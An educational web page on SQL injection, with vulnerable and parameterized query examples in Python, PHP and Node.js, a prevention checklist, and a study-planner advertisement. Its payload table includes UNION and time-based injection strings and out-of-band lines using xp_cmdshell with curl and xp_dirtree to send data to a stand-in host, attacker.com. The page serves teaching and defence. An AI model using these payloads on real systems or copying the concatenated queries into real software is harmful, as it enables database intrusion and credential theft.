Learn SQL Injection

This educational simulator demonstrates how SQL injection attacks work and why parameterized queries are essential for security.

Educational Purpose Only - This simulator runs entirely in your browser. No actual database queries are executed. Use this knowledge responsibly and only test systems you own or have permission to test.

Generated SQL Query:

SELECT * FROM users WHERE username = '' AND password = ''

Try These Payloads (click to insert):

How it works: Enter a username and password to see how the SQL query is constructed. In vulnerable mode, user input is directly concatenated into the query, allowing attackers to modify the query's logic.

Vulnerable vs Secure Code

VULNERABLE String Concatenation

# Python - VULNERABLE
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)

# PHP - VULNERABLE
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);

# Node.js - VULNERABLE
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);

SECURE Parameterized Queries

# Python - SECURE
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

# PHP - SECURE (PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

# Node.js - SECURE
const query = "SELECT * FROM users WHERE username = $1 AND password = $2";
db.query(query, [username, password]);

Types of SQL Injection

1. In-band SQLi (Classic)

Type	Payload Example	Description
Error-based	`' AND 1=CONVERT(int, @@version)--`	Forces database errors that reveal information
UNION-based	`' UNION SELECT username, password FROM users--`	Combines results from another query

2. Blind SQLi

Type	Payload Example	Description
Boolean-based	`' AND 1=1-- (true) vs ' AND 1=2-- (false)`	Infers data from true/false responses
Time-based	`' AND SLEEP(5)--`	Infers data from response time delays

3. Out-of-band SQLi

Type	Payload Example	Description
DNS exfiltration	`'; exec xp_dirtree '//attacker.com/a'--`	Sends data via DNS lookups
HTTP requests	`'; exec xp_cmdshell 'curl http://attacker.com/?data=...'--`	Sends data via HTTP requests

Prevention Checklist

Always use parameterized queries (prepared statements)
Use ORM frameworks that handle escaping automatically
Input validation - Whitelist allowed characters
Least privilege - Database user should have minimal permissions
Escape special characters if parameterization not possible
Web Application Firewall (WAF) as defense-in-depth
Error handling - Never expose database errors to users
Regular security testing - Use SQLMap, Burp Suite

Related Resources

🔒 OWASP Top 10 Critical web security risks 🗄️ Database Security Database hardening guide 📝 WordPress Security WordPress hardening steps

FixTheVuln Store

Studying for CompTIA PenTest+? Get the Study Planner

Fillable PDF study planners with domain trackers, weekly schedules, and progress tracking. Available in Standard, ADHD-Friendly, Dark Mode, and 4-Format Bundle.

CompTIA PenTest+ Planner

60+ certifications available — from $5.99

Test Your Knowledge